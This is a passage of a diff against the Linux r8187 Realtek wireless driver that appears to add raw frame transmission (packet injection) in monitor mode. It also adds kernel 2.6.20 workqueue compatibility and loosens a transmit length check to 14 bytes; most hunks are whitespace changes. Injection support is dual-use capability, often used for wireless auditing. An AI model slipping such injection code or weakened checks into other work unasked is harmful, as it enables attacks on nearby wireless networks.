ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); @@ -1266,7 +1289,7 @@ ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); @@ -1284,26 +1307,26 @@ int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - + if ((status = auth_rq_parse(skb, dest))!= -1){ ieee80211_resp_to_auth(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; if (assoc_rq_parse(skb,dest) != -1){ ieee80211_resp_to_assoc_rq(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1317,24 +1340,24 @@ void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) { - + struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + if (buf) softmac_ps_mgmt_xmit(buf, ieee); // printk(KERN_INFO "ieee80211_sta_ps_send_null_frame!\n"); -} +} short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1343,7 +1366,7 @@ return 0; printk(KERN_INFO "VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; printk(KERN_INFO "no UCAST\n"); @@ -1358,11 +1381,11 @@ return 0; printk(KERN_INFO "cc\n"); if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) @@ -1372,8 +1395,8 @@ ieee->ps_tl=*time_l; // printk(KERN_INFO "ieee->ps_tl %lu!\n",ieee->ps_tl); return 1; - - + + } inline void ieee80211_sta_ps(struct ieee80211_device *ieee) @@ -1381,72 +1404,72 @@ u32 th,tl; short sleep; - + unsigned long flags,flags2; //// printk(KERN_INFO "enter ieee80211_sta_ps!\n"); spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - + // #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); + + ieee80211_sta_wakeup(ieee, 1); printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - + sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ //printk(KERN_INFO "sleep %d,th %lu, tl %lu,sta_sleep %d\n",sleep,th,tl,ieee->sta_sleep); if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) //ieee->enter_sleep_state(ieee->dev,th,tl); queue_work(ieee->wq,&ieee->hw_sleep_wq); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + // ieee->ps_request_tx_ack(ieee->dev); // printk(KERN_INFO "ps request address %lu!\n",ieee->ps_request_tx_ack); - // queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); + // queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); ieee80211_sta_ps_send_null_frame(ieee,1); ieee80211_sta_ps_send_null_frame(ieee,1); - + ieee->ps_th = th; ieee->ps_tl = tl; // udelay(100); ieee80211_ps_tx_ack(ieee,1);//add without interrupt like 8185 - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ // #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + ieee80211_sta_wakeup(ieee,1); printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) @@ -1460,14 +1483,14 @@ ieee80211_sta_ps_send_null_frame(ieee, 0); } return; - + } - if(ieee->sta_sleep == 1) + if(ieee->sta_sleep == 1) //ieee->sta_wake_up(ieee->dev); queue_work(ieee->wq,&ieee->hw_wakeup_wq); - + ieee->sta_sleep = 0; - + if(nl){ //ieee->ps_request_tx_ack(ieee->dev); //queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); @@ -1480,7 +1503,7 @@ unsigned long flags,flags2; // printk(KERN_INFO "ieee80211_ps_tx_ack,success %d,sta_sleep %d!\n",success,ieee->sta_sleep); spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1495,7 +1518,7 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); ieee80211_sta_ps_send_null_frame(ieee, 0); @@ -1519,66 +1542,66 @@ header = (struct ieee80211_hdr_3addr *) skb->data; if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) { //// printk(KERN_INFO "schedule ps task!\n"); tasklet_schedule(&ieee->ps_task);} - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ if (0 == (errcode=assoc_parse(skb, &aid))){ - + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - + ieee80211_associate_complete(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - + ieee80211_rx_assoc_rq(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - + if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - + ieee80211_associate_step2(ieee); }else{ ieee80211_auth_challenge(ieee, challenge, chlen); @@ -1588,47 +1611,47 @@ IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); ieee80211_associate_abort(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ ieee80211_rx_auth_rq(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - + ieee80211_rx_probe_rq(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - + notify_wx_assoc_event(ieee); - + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1646,21 +1669,20 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - + */ + void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1671,13 +1693,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1691,9 +1713,8 @@ } /* called with 2nd parm 0, no tx mgmt lock required */ ieee80211_sta_wakeup(ieee,0); - for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ //added by david. 2007.1.23 if(ieee->tx_pending.txb != NULL) { @@ -1709,16 +1730,16 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } + } lost: //ieee80211_txb_free(txb); - + exit: atomic_dec(&ieee->tx_pending_txb); spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ @@ -1726,13 +1747,13 @@ { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1740,8 +1761,8 @@ ieee->dev->trans_start = jiffies; } } - - + + //ieee80211_txb_free(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } @@ -1751,7 +1772,7 @@ { unsigned long flags; struct sk_buff *ret; - + spin_lock_irqsave(&ieee->lock,flags); // added by david, 2007.1.23 while((ret = dequeue_mgmt(ieee)) != NULL) { @@ -1773,17 +1794,17 @@ unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1799,12 +1820,12 @@ } if (!ieee->queue_stop && ieee->tx_pending.txb) ieee80211_resume_tx(ieee); - + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } @@ -1821,17 +1842,17 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; @@ -1841,61 +1862,68 @@ void ieee80211_start_master_bss(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); notify_wx_assoc_event(ieee); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ ieee80211_softmac_check_all_nets(ieee); - + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1915,25 +1943,25 @@ /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) ieee80211_randomize_cell(ieee); - + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1942,34 +1970,34 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - + notify_wx_assoc_event(ieee); - + ieee80211_start_send_beacons(ieee); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } @@ -1988,7 +2016,7 @@ * in associating / authenticating phase) start the background scanning. */ ieee80211_softmac_check_all_nets(ieee); - + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1997,10 +2025,10 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->state == IEEE80211_NOLINK) ieee80211_start_scan(ieee); - + spin_unlock_irqrestore(&ieee->lock, flags); } @@ -2008,30 +2036,38 @@ void ieee80211_disassociate(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) ieee80211_reset_queue(ieee); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); notify_wx_assoc_event(ieee); - + } + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -2041,18 +2077,18 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; ieee80211_softmac_check_all_nets(ieee); - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) ieee80211_start_scan(ieee); - + spin_unlock_irqrestore(&ieee->lock, flags); exit: @@ -2062,39 +2098,39 @@ struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - + skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - + skb = ieee80211_get_beacon_(ieee); - if(!skb) + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } @@ -2111,14 +2147,14 @@ { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - + ieee80211_stop_send_beacons(ieee); - + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - + cancel_delayed_work(&ieee->associate_retry_wq); + ieee80211_stop_scan(ieee); ieee80211_disassociate(ieee); @@ -2135,28 +2171,28 @@ void ieee80211_start_protocol(struct ieee80211_device *ieee) { short ch = 0; - + if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - + ieee->set_chan(ieee->dev,ieee->current_network.channel); - + ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2167,18 +2203,18 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) ieee80211_start_bss(ieee); - + else if (ieee->iw_mode == IW_MODE_ADHOC) ieee80211_start_ibss(ieee); - + else if (ieee->iw_mode == IW_MODE_MASTER) ieee80211_start_master_bss(ieee); - + else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode(ieee); } @@ -2186,11 +2222,11 @@ void ieee80211_softmac_init(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2203,7 +2239,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - + init_mgmt_queue(ieee); #if 0 init_timer(&ieee->scan_timer); @@ -2211,7 +2247,7 @@ ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; ieee->associate_timer.function = ieee80211_associate_abort_cb; @@ -2219,28 +2255,37 @@ init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq); +#endif /// INIT_WORK(&ieee->ps_request_tx_ack_wq,(void(*)(void*))ieee->ps_request_tx_ack,ieee->dev);//for ps 07.26 - + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, (void(*)(unsigned long)) ieee80211_sta_ps, (unsigned long)ieee); @@ -2250,20 +2295,20 @@ void ieee80211_softmac_free(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - + static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver @@ -2273,7 +2318,7 @@ return 0; } - + void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ @@ -2285,7 +2330,7 @@ static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2339,7 +2384,7 @@ static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2435,7 +2480,7 @@ struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2600,7 +2645,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2644,7 +2689,7 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } diff -Naur r8187_orig/ieee80211/ieee80211_softmac_wx.c r8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- r8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-05-16 22:00:07.000000000 +0200 @@ -236,7 +236,7 @@ int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); @@ -246,7 +246,7 @@ if (wrqu->mode == IW_MODE_MONITOR){ - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -259,13 +259,37 @@ ieee80211_start_protocol(ieee); } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; + } + + out: up(&ieee->wx_sem); return 0; } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -356,7 +380,11 @@ spin_lock_irqsave(&ieee->lock, flags); if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; +#endif strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; diff -Naur r8187_orig/ieee80211/ieee80211_tx.c r8187_rawtx/ieee80211/ieee80211_tx.c --- r8187_orig/ieee80211/ieee80211_tx.c 2007-12-05 09:53:21.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_tx.c 2007-05-16 22:00:07.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -481,19 +486,19 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - + txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->nr_frags = 1; txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); diff -Naur r8187_orig/Makefile r8187_rawtx/Makefile --- r8187_orig/Makefile 1970-01-01 01:00:00.000000000 